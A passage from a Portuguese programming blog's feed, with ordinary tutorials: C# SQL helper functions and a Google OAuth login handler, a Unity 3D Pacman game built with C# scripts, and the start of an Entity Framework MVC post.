<br />
Nesta classe vamos criar funções genéricas para execução de comandos SQL bem como consultas.<br />
public DataTable devolveconsulta(string sql)<br />
{<br />
<br />
SqlCommand comando = new SqlCommand(sql, ligacaoBD);<br />
DataTable registos = new DataTable();<br />
<br />
<br />
SqlDataReader dados = comando.ExecuteReader();<br />
registos.Load(dados);<br />
comando.Dispose();<br />
return registos;<br />
<br />
}<br />
<br />
public DataTable devolveconsulta(string sql, List<SqlParameter> parametros)<br />
{<br />
<br />
SqlCommand comando = new SqlCommand(sql, ligacaoBD);<br />
comando.Parameters.AddRange(parametros.ToArray());<br />
DataTable registos = new DataTable();<br />
<br />
<br />
SqlDataReader dados = comando.ExecuteReader();<br />
registos.Load(dados);<br />
comando.Dispose();<br />
return registos;<br />
<br />
}<br />
public bool executacomando(string sql)<br />
{<br />
try<br />
{<br />
SqlCommand comando = new SqlCommand(sql, ligacaoBD);<br />
comando.ExecuteNonQuery();<br />
comando.Dispose();<br />
}<br />
catch (Exception erro)<br />
{<br />
Console.Write(erro.Message);<br />
return false;<br />
}<br />
return true;<br />
}<br />
<br />
public bool executacomando(string sql, List<SqlParameter> parametros)<br />
{<br />
<br />
try<br />
{<br />
SqlCommand comando = new SqlCommand(sql, ligacaoBD);<br />
comando.Parameters.AddRange(parametros.ToArray());<br />
comando.ExecuteNonQuery();<br />
comando.Dispose();<br />
}<br />
catch (Exception erro)<br />
{<br />
Console.Write(erro.Message);<br />
return false;<br />
}<br />
return true;<br />
}<br />
<br />
Com estas funções podemos mais facilmente manipular a base de dados.<br />
<br />
Vamos, agora, adicionar o Handler que é chamado após o login na conta da google.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBdDs7rDKhX0WhxL1tgTqcRPqyIb7rHByUc3hZY4K0bFrWA1YPMAB543uWo7Dm5SSgBuFXtvCCxvFfcCRzgUpLv9VwId58VsOmOVqV5C34vxjkfwpJVW_CBjuGKdjEOfytZAuF9JKUMPI6/s1600/Captura+de+Ecr%25C3%25A3+%2528212%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBdDs7rDKhX0WhxL1tgTqcRPqyIb7rHByUc3hZY4K0bFrWA1YPMAB543uWo7Dm5SSgBuFXtvCCxvFfcCRzgUpLv9VwId58VsOmOVqV5C34vxjkfwpJVW_CBjuGKdjEOfytZAuF9JKUMPI6/s320/Captura+de+Ecr%25C3%25A3+%2528212%2529.png" width="320" /></a></div>
<br />
O código deste handler fica assim:<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ukzp-8TWIC7NzrYs01ngME5CsAd_sHPb3WZMHT1VOaQYyvv3P7pvq3TE1RksUDUR4dgFesZR8BNjQnW6SC0Ls9gFMh_lftF9PlcG7Vh42I8ffDiymKGBr4V4FVaxRS858weTYthyphenhyphenMqYR/s1600/Captura+de+Ecr%25C3%25A3+%2528220%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ukzp-8TWIC7NzrYs01ngME5CsAd_sHPb3WZMHT1VOaQYyvv3P7pvq3TE1RksUDUR4dgFesZR8BNjQnW6SC0Ls9gFMh_lftF9PlcG7Vh42I8ffDiymKGBr4V4FVaxRS858weTYthyphenhyphenMqYR/s320/Captura+de+Ecr%25C3%25A3+%2528220%2529.png" width="320" /></a></div>
<br />
Basicamente este código será executado após a autenticação do utilizador com a sua conta Google e este redireciona para uma página que recolhe os dados fornecidos pela Google e adiciona-os à base de dados.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXLGbuc57d4Hu1t3KcDEB0bWrwuYKpm7g5gNc9gC1J9Y0gdrSjS_TJ4ie-bVoaDcGVQJNHfI-551Paemt8VOd4C9pGwrX3pPiz3wkzUpbYImrTW39qJDpQ3s0vsOVtM0sN8E5s2bs75_m/s1600/Captura+de+Ecr%25C3%25A3+%2528223%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMXLGbuc57d4Hu1t3KcDEB0bWrwuYKpm7g5gNc9gC1J9Y0gdrSjS_TJ4ie-bVoaDcGVQJNHfI-551Paemt8VOd4C9pGwrX3pPiz3wkzUpbYImrTW39qJDpQ3s0vsOVtM0sN8E5s2bs75_m/s320/Captura+de+Ecr%25C3%25A3+%2528223%2529.png" width="320" /></a></div>
<br />
Agora que já temos a opção que permite aos utilizadores fazer o registo com a sua conta Google de seguida vamos criar uma página para validar o login.<br />
<br />
A página em si é muito simples, basta isto:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_ylHhYF77vIKOGHTjrMm_sobQAEIVQvIysKYrbpePJsaCzSlPzab6difZs9let6D4oJb_Ny7Z1dKpIa_8OXdb2tlq8iX5TNnj_t2UgoqoZBDsW7j-f0zkEpzGkqHnMqW4qyMqCAUcfREE/s1600/Captura+de+Ecr%25C3%25A3+%2528224%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="126" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_ylHhYF77vIKOGHTjrMm_sobQAEIVQvIysKYrbpePJsaCzSlPzab6difZs9let6D4oJb_Ny7Z1dKpIa_8OXdb2tlq8iX5TNnj_t2UgoqoZBDsW7j-f0zkEpzGkqHnMqW4qyMqCAUcfREE/s320/Captura+de+Ecr%25C3%25A3+%2528224%2529.png" width="320" /></a></div>
Com este código:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqr7qv6y7uDZI4Wn-1mvJH18NQ55-1L0iQiJRVKcMQpF4CCPLdj3AjTNrZrHfKJhEodiSGDK9B73aJBHM3wDG_njncFTirauxZcUXMAurNyjUQP2jRweb5_5N46EQNPsvHJiMq5r0P0LrP/s1600/Captura+de+Ecr%25C3%25A3+%2528225%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqr7qv6y7uDZI4Wn-1mvJH18NQ55-1L0iQiJRVKcMQpF4CCPLdj3AjTNrZrHfKJhEodiSGDK9B73aJBHM3wDG_njncFTirauxZcUXMAurNyjUQP2jRweb5_5N46EQNPsvHJiMq5r0P0LrP/s320/Captura+de+Ecr%25C3%25A3+%2528225%2529.png" width="320" /></a></div>
<br />
O handler fica assim:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLTDj0uXqM_dEtR1cpYs-KC1UoSgiNFBX_wIgsJtosZlC5vTUnw4gDCfkyckT9LvKJjn9FziPZ-rZ_2fFudsRmfv0WdnrE3Dtr_6bpC9QrW3Z_j_TR09gGU5xqNp1aT90XAKaLwOs9xIq/s1600/Captura+de+Ecr%25C3%25A3+%2528226%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtLTDj0uXqM_dEtR1cpYs-KC1UoSgiNFBX_wIgsJtosZlC5vTUnw4gDCfkyckT9LvKJjn9FziPZ-rZ_2fFudsRmfv0WdnrE3Dtr_6bpC9QrW3Z_j_TR09gGU5xqNp1aT90XAKaLwOs9xIq/s320/Captura+de+Ecr%25C3%25A3+%2528226%2529.png" width="320" /></a></div>
A página que verifica se a conta exista ou não e que termina a sessão:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj86ci0wHS_xP6a6EGNIVGj_IPAnEGK10AbNjKz_3my56xMRQFUEk_YCU9QSuFeYOmr-a2jRWWR0m-CSCpMxxz3_9CkRSxJR5Y64wIuQfciTtDcFlM4ny3qcTvhKp5ZzacClWfG70VVqkcB/s1600/Captura+de+Ecr%25C3%25A3+%2528227%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj86ci0wHS_xP6a6EGNIVGj_IPAnEGK10AbNjKz_3my56xMRQFUEk_YCU9QSuFeYOmr-a2jRWWR0m-CSCpMxxz3_9CkRSxJR5Y64wIuQfciTtDcFlM4ny3qcTvhKp5ZzacClWfG70VVqkcB/s320/Captura+de+Ecr%25C3%25A3+%2528227%2529.png" width="320" /></a></div>
<br />
O projeto está disponível do <a href="https://github.com/alunosnet/WebApp_GoogleOAuth" target="_blank">GitHub</a>.Paulo Ferreira "O Prof..."http://www.blogger.com/profile/14402544521476818760noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-17157229904561717382016-06-14T03:59:00.000-07:002016-06-14T03:59:04.400-07:00PacMan 3DNeste artigo vamos fazer um jogo simples, o clássico Pacman em 3D. Para isso vamos utilizar o Unity 3D, claro.<br />
<br />
Vamos começar por criar um projeto novo.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDjDykEFywH1R7RK7bROFvuI1pqJ9Gidrvfvzd7DLL2QGD0hZDzy-zfr7Cu7xo_w0QErCugrjeFa9bsGzBsO1MHZedyXzUfZkDXy2KvmqcTCx1Y1WW7s_BNhDoYZFvA-SUvvcdd3z5ky0/s1600/novo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDjDykEFywH1R7RK7bROFvuI1pqJ9Gidrvfvzd7DLL2QGD0hZDzy-zfr7Cu7xo_w0QErCugrjeFa9bsGzBsO1MHZedyXzUfZkDXy2KvmqcTCx1Y1WW7s_BNhDoYZFvA-SUvvcdd3z5ky0/s320/novo.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<a name='more'></a><br />
<br />
O jogo vai começar num menu simples e é por aí que vamos começar. Assim vamos adicionar um botão.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBMYuc_rDQFAPm9iuWRKxPLHdhrmbpPXMPeqBG86psCqmUSSOFoJ7ncJ8Hw32H2If4iRgTWUt0ryqKrWXAnlJl8SHtSuwnICfApmit11yeRGp0Pio7Jdoo1uu2q84y7_91nzgvlBBBF3g/s1600/botao.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBMYuc_rDQFAPm9iuWRKxPLHdhrmbpPXMPeqBG86psCqmUSSOFoJ7ncJ8Hw32H2If4iRgTWUt0ryqKrWXAnlJl8SHtSuwnICfApmit11yeRGp0Pio7Jdoo1uu2q84y7_91nzgvlBBBF3g/s320/botao.png" width="320" /></a></div>
<br />
Ao adicionar o botão o Unity adiciona um Canvas. Este elemento configura a visualização do nosso menu pelo utilizador, assim é fundamental posicionar o botão dentro do canvas para que este seja visível.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieihUI48HTcmYHk-488uPleadOYU558fgMzBBzOZ_58FVtphe53sNoupFDJYebutWLJO8wUJKByY0nCGbb6Q6fYWKEgsL7FGjrN6Yg0Wk5cRHzYOgbLHTvfSrRtB9VWh0ty9R_lZta1NA/s1600/botao2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="188" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieihUI48HTcmYHk-488uPleadOYU558fgMzBBzOZ_58FVtphe53sNoupFDJYebutWLJO8wUJKByY0nCGbb6Q6fYWKEgsL7FGjrN6Yg0Wk5cRHzYOgbLHTvfSrRtB9VWh0ty9R_lZta1NA/s320/botao2.png" width="320" /></a></div>
O passo seguinte é adicionar um ficheiro de código C# e criar a função que vamos associar com o evento clique no botão. Com o botão direito do rato clicar na janela do projeto escolher create C# script.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXR863zTy7P5R1qKB4EZ-PLyZmcEnYHNyViO71ivV_sJLTAWQ0NRONgD2uZNhxCi6zQGsevC97fg7v-LZ22AUjXiDexeQbFWlvGC1zAqjJdc9FehaE7TgazxoSNivpoyxsb7WJCQWMFOI/s1600/criar_script.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="248" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXR863zTy7P5R1qKB4EZ-PLyZmcEnYHNyViO71ivV_sJLTAWQ0NRONgD2uZNhxCi6zQGsevC97fg7v-LZ22AUjXiDexeQbFWlvGC1zAqjJdc9FehaE7TgazxoSNivpoyxsb7WJCQWMFOI/s320/criar_script.png" width="320" /></a></div>
<br />
Abre o ficheiro com duplo clique e insere o seguinte código.<br />
<br />
public class Menu : MonoBehaviour {<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>//function click for the button<br />
public void button_click()<br />
{<br />
SceneManager.LoadScene(1);<br />
}<br />
}<br />
<div>
<br /></div>
<div>
O ficheiro criado pelo Unity é uma classe derivada da classe MonoBehaviour e que inclui duas funções (Start e Update) que, para este caso, não necessitamos, por isso foram eliminadas.</div>
<div>
<br /></div>
<div>
Agora adicionamos o script criado ao canvas. De seguida selecionamos o botão e configuramos o evento On Click associando ao canvas e depois à função button_click.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIhJRsmm82k3bs1uESP5q_dqJJEvsAKxLby9sx0fzDmKTtZez7NESTkrivlJ5Hg8TLkgTQE5WHDATHDQF-6Vi3TT930ld32CNadv70j_fmv1-JQqLSgLMuuRg3tZMspCY0Zqft-zfcrQ4/s1600/botao_script.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIhJRsmm82k3bs1uESP5q_dqJJEvsAKxLby9sx0fzDmKTtZez7NESTkrivlJ5Hg8TLkgTQE5WHDATHDQF-6Vi3TT930ld32CNadv70j_fmv1-JQqLSgLMuuRg3tZMspCY0Zqft-zfcrQ4/s1600/botao_script.png" /></a></div>
<div>
<br /></div>
<div>
Agora que temos o menu pronto vamos guardar a cena com nome menu e adicionar uma cena nova.</div>
<div>
<br /></div>
Nesta nova cena vamos adicionar um plano para servir de chão e uns cubos para servirem de paredes.<br />
<br />
Para cada um destes elementos vamos criar um material. No caso do chão pretendemos utilizar uma textura, assim adicionamos um material novo ao projeto e configuramos de acordo com a imagem.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqDZ0qkTNCYaoFUni2eL2wqpgzcnFZrp4qc9R-pHRd5VoNDU30ZHaHdGh4DWW7fFfraYlVkLxeFHA9BRb17MdEdEWBL4mC8LCB-XBNrfQ35xSJAP3rXhdZd6xyaOcf-cbO9_uHfMB8H3U/s1600/material_chao.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqDZ0qkTNCYaoFUni2eL2wqpgzcnFZrp4qc9R-pHRd5VoNDU30ZHaHdGh4DWW7fFfraYlVkLxeFHA9BRb17MdEdEWBL4mC8LCB-XBNrfQ35xSJAP3rXhdZd6xyaOcf-cbO9_uHfMB8H3U/s320/material_chao.png" width="140" /></a></div>
<br />
O campo Albedo tem uma textura adicionada e os campos metallic e smoothness foram alterados para ajustar a textura ao aspeto pretendido. Quanto ao Tiling (repetição da textura) ficou em 5 para X e para Y.<br />
<br />
Ao posicionar os elementos é importante controlar as suas coordenadas assim o chão deve ficar em 0,0,0 e os restantes objetos posisionados com o chão como referência.<br />
<br />
A cena/nível deve ficar como a seguir se apresenta.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4V0EpqJF3gJEaaLPB1KRzZ77mtcJTkUFDV-c72wm0igWetf58eI9d0_hcF4hDi7zT68XQ58yTBNgYDt9KlulTk1wGitys9v9C5MJX3EawnFxhNldyzDSstHDQvTHAewwVKTVsLGfmiuk/s1600/cena.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4V0EpqJF3gJEaaLPB1KRzZ77mtcJTkUFDV-c72wm0igWetf58eI9d0_hcF4hDi7zT68XQ58yTBNgYDt9KlulTk1wGitys9v9C5MJX3EawnFxhNldyzDSstHDQvTHAewwVKTVsLGfmiuk/s320/cena.png" width="320" /></a></div>
<br />
Agora vamos criar o jogador. Para isso vamos utilizar uma esfera e código fornecido pelo Unity, graças ao criador, do Unity.<br />
<br />
Vamos a GameObject, o menu, e escolhemos 3D Object e, dentro deste, Sphere.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWjcqmnpw26wKZNURleUUfR031YhkgeixMeQ1BhjHy6Ef9279qOnW4EcLUnQRWwtGapah1n4e4rRfGr0HuhaQE5qmrX83JhjEEt1dlxB7OXu1vZETgQq4B9WIWsS_LCrk1hQSCrDGgG50/s1600/menu_esfera.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="102" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWjcqmnpw26wKZNURleUUfR031YhkgeixMeQ1BhjHy6Ef9279qOnW4EcLUnQRWwtGapah1n4e4rRfGr0HuhaQE5qmrX83JhjEEt1dlxB7OXu1vZETgQq4B9WIWsS_LCrk1hQSCrDGgG50/s320/menu_esfera.png" width="320" /></a></div>
<br />
O código que vamos utilizar faz parte dos Assets do Unity, assim há-que o importar. Em Assets escolher Import Package e depois Characters.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGEzQ7SUcM-EFVt6KZKmkYYh2dxdrVB4MPMHhSdzoWDZA5kSsgqpZvf5wTO3f63mrWiOOi2ek-j3CGgYddTBw-ZBt6hYax-2zYRsK9jxOWnpQQ7KmqMhLBMmPkG1q_qr0-D5ZKxPogb2k/s1600/importar.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGEzQ7SUcM-EFVt6KZKmkYYh2dxdrVB4MPMHhSdzoWDZA5kSsgqpZvf5wTO3f63mrWiOOi2ek-j3CGgYddTBw-ZBt6hYax-2zYRsK9jxOWnpQQ7KmqMhLBMmPkG1q_qr0-D5ZKxPogb2k/s320/importar.png" width="320" /></a></div>
<br />
Navegar até à pasta Scripts, dentro de RollerBall, dentro de Characters, dentro de Standar Assets.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzLxZxCF6qkj_fKV6X9D7s8NP5QzJq9IvzHp-k2vgNOgScAuHlpqyFdhcphUxej7U4GoIqVWcZ_XE5BXOAfyFxBBfi1aV9GII1_M_N7u0XHqr98ozLDqSmSK3GTN_FP7Y7MeEUigWchkg/s1600/importar_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzLxZxCF6qkj_fKV6X9D7s8NP5QzJq9IvzHp-k2vgNOgScAuHlpqyFdhcphUxej7U4GoIqVWcZ_XE5BXOAfyFxBBfi1aV9GII1_M_N7u0XHqr98ozLDqSmSK3GTN_FP7Y7MeEUigWchkg/s320/importar_2.png" width="320" /></a></div>
<br />
Encontra lá dois ficheiros (Ball e BallUserControl) que deve associar à esfera que representará o jogador.<br />
<br />
De seguida adicionamos um Rigidbody à esfera, assim.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRNSUzUkPRC_sHFx1tVBq7_SBeawKAOEUty3LdutquUNtFQjdrSf682JnG2GbVad7m0TSvk6PM-iI88YAT4lc65iByoQV7T1D029ntnnjkj3LOACR3zOcFVsl4ovvGA5PQ2tsXExpI3uk/s1600/rigidbody.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRNSUzUkPRC_sHFx1tVBq7_SBeawKAOEUty3LdutquUNtFQjdrSf682JnG2GbVad7m0TSvk6PM-iI88YAT4lc65iByoQV7T1D029ntnnjkj3LOACR3zOcFVsl4ovvGA5PQ2tsXExpI3uk/s1600/rigidbody.png" /></a></div>
<br />
Um rigidbody é um componente que atribui ao objeto um comportamento em conformidade com as leis da física, como a gravidade.<br />
<br />
Neste momento a esfera já deve responder ao input do jogador. Pode ser necessário ajustar algumas propriedades do código da esfera como por exemplo Move Power e também é importar posicionar a câmara para que o nível esteja totalmente visível.<br />
<br />
A esfera deve ter uma tag do tipo Player. As tags permitem agrupar os objetos por forma que seja possível aplicar código a um grupo de elementos,<br />
<br />
Quem é que vais chamar? Os caça fantasmas! Sim agora temos os fantasmas que vão perseguir o jogador pelo nível.<br />
<br />
O fantasma é composto por uma cápsula (capsule) e um ficheiro de código que vamos criar mas o mais importante é o componente que vai permitir ao fantasma percorrer o nível em busca do jogador que é um Nav Mesh Agent. Para que as colisões com o jogador sejam detetadas corretamente adicionamos um Character Controller, sem este elemento não são detetadas colisões quando o jogador não se move.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUmFwq-vIUgoi1BZB_bqZoKIHeA31-VYh4yKYiONrq_6-boVOlTl4EbAnCxA_TzPWU6weLN4KrJVADIpt2n_zuP4LVOSUV4zGDBeWWiq0TRqk8aKzxPrkEgJBqTm-iCCScgWYz7jifRnc/s1600/ghost.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUmFwq-vIUgoi1BZB_bqZoKIHeA31-VYh4yKYiONrq_6-boVOlTl4EbAnCxA_TzPWU6weLN4KrJVADIpt2n_zuP4LVOSUV4zGDBeWWiq0TRqk8aKzxPrkEgJBqTm-iCCScgWYz7jifRnc/s320/ghost.png" width="216" /></a></div>
<br />
Agora adicionamos um script novo com o nome GhostScript e vamos inserir o código.<br />
<br />
public class ghostScript : MonoBehaviour {<br />
<br />
public GameObject target; //this is the player or a reference for him<br />
NavMeshAgent agent; //this is a reference for the ghost navmeshagent component<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Use this for initialization<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>void Start () {<br />
agent = GetComponent<NavMeshAgent>();<br />
if (target == null)<br />
target = GameObject.FindGameObjectWithTag("Player");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Update is called once per frame<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>void Update () {<br />
//this is for updating the target location<br />
agent.destination = target.transform.position;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<br />
//function to detect when the ghost gets the player<br />
public void OnCollisionEnter(Collision collision)<br />
{<br />
if (collision.gameObject.tag == "Player")<br />
SceneManager.LoadScene("menu");<br />
}<br />
}<br />
<br />
Para que o componente Nav Mesh Agent funcione é necessário definir o plano do chão como estático e depois na barra Navigation fazer o Bake da informação necessário para o pathfinding do fantasma.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI_DRWktMiZgG1DV6gF3gy4tBVw6axVM-vWL2nf8MxPHzbNtGtdhcZCU_P9NeUxGvPsfPRTWqzWQeAGJNpkM3uE6MBDEU5vKbcWR7kNW1184VdzmNKBMm2Ha0S3ZwQCQPoCqzE_Zs9cvY/s1600/navmesh.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="197" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI_DRWktMiZgG1DV6gF3gy4tBVw6axVM-vWL2nf8MxPHzbNtGtdhcZCU_P9NeUxGvPsfPRTWqzWQeAGJNpkM3uE6MBDEU5vKbcWR7kNW1184VdzmNKBMm2Ha0S3ZwQCQPoCqzE_Zs9cvY/s320/navmesh.png" width="320" /></a></div>
<br />
As áreas que são "caminháveis" estão a azul.<br />
<br />
Neste momento o fantasma já deve mover-se e perseguir o jogador para onde quer que ele vá. Ao colidir com o jogador o jogo deve apresentar o menu de novo, para isso é necessário definir as cenas que fazem parte do projeto assim é necessário ir a File - Build Settings e adicionar os níveis pretendidos, para isso basta arrasta-los da barra do projeto.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7qk64l0yIXfj6l5kkxsZjPatsaVXzb-24h1roypRsxKUnlJPzSuN1a5W3tXuJDH1_Zvt8CWB-WMpWASsNIpzImBv7Amw0l8H3OYF380yqkHnL0TSvsl16y0HukG8PmO8kNZZI-njdzhI/s1600/buildsettings.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7qk64l0yIXfj6l5kkxsZjPatsaVXzb-24h1roypRsxKUnlJPzSuN1a5W3tXuJDH1_Zvt8CWB-WMpWASsNIpzImBv7Amw0l8H3OYF380yqkHnL0TSvsl16y0HukG8PmO8kNZZI-njdzhI/s320/buildsettings.png" width="290" /></a></div>
<br />
<br />
Só falta definir a área que permite passar para o nível seguinte. Para isso vamos adicionar um Empty Game Object e adicionar-lhe um Box Collider definido como trigger, para que seja possível entrar dentro dele. Como se vê na imagem seguinte.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgApDanSosgLzXilaX6Y4wRqKLY9-PK8izag0d1hO2Ra4cOzgRDiAJdZvwKRAf261CAur9b_4Y8hlUsQ1BqE2yIXF0Dhzxl7aimKgwfC-Bd6aFu37yPpVxLvHS3D4sbrMY4itKyS_-TFSo/s1600/empty.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgApDanSosgLzXilaX6Y4wRqKLY9-PK8izag0d1hO2Ra4cOzgRDiAJdZvwKRAf261CAur9b_4Y8hlUsQ1BqE2yIXF0Dhzxl7aimKgwfC-Bd6aFu37yPpVxLvHS3D4sbrMY4itKyS_-TFSo/s320/empty.png" width="261" /></a></div>
<br />
E agora o código.<br />
<br />
public class nextLevelScript : MonoBehaviour {<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>public void OnTriggerEnter(Collider collider)<br />
{<br />
if (collider.tag == "Player")<br />
SceneManager.LoadScene(SceneManager.GetActiveScene().buildIndex + 1); <br />
}<br />
}<br />
<div>
<br /></div>
<br />
Este tutorial está disponível em vídeo.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/k5P_g3FAMg8/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/k5P_g3FAMg8?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
O código do projeto está disponível no <a href="https://github.com/alunosnet/Pacman3D" target="_blank">GitHub</a><br />
<br />PcWorldGamerhttp://www.blogger.com/profile/02651130132387232965noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-74337374389500070462016-04-04T09:48:00.002-07:002016-04-04T09:49:48.538-07:00Entity FrameworkNeste post vamos aprender a utilizar a framework entity para o desenvolvimento de automático das operações de inserção, remoção, atualização e consulta de uma tabela.<br />
<br />
Começamos por criar um projeto web em MVC com o Visual Studio 2015.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
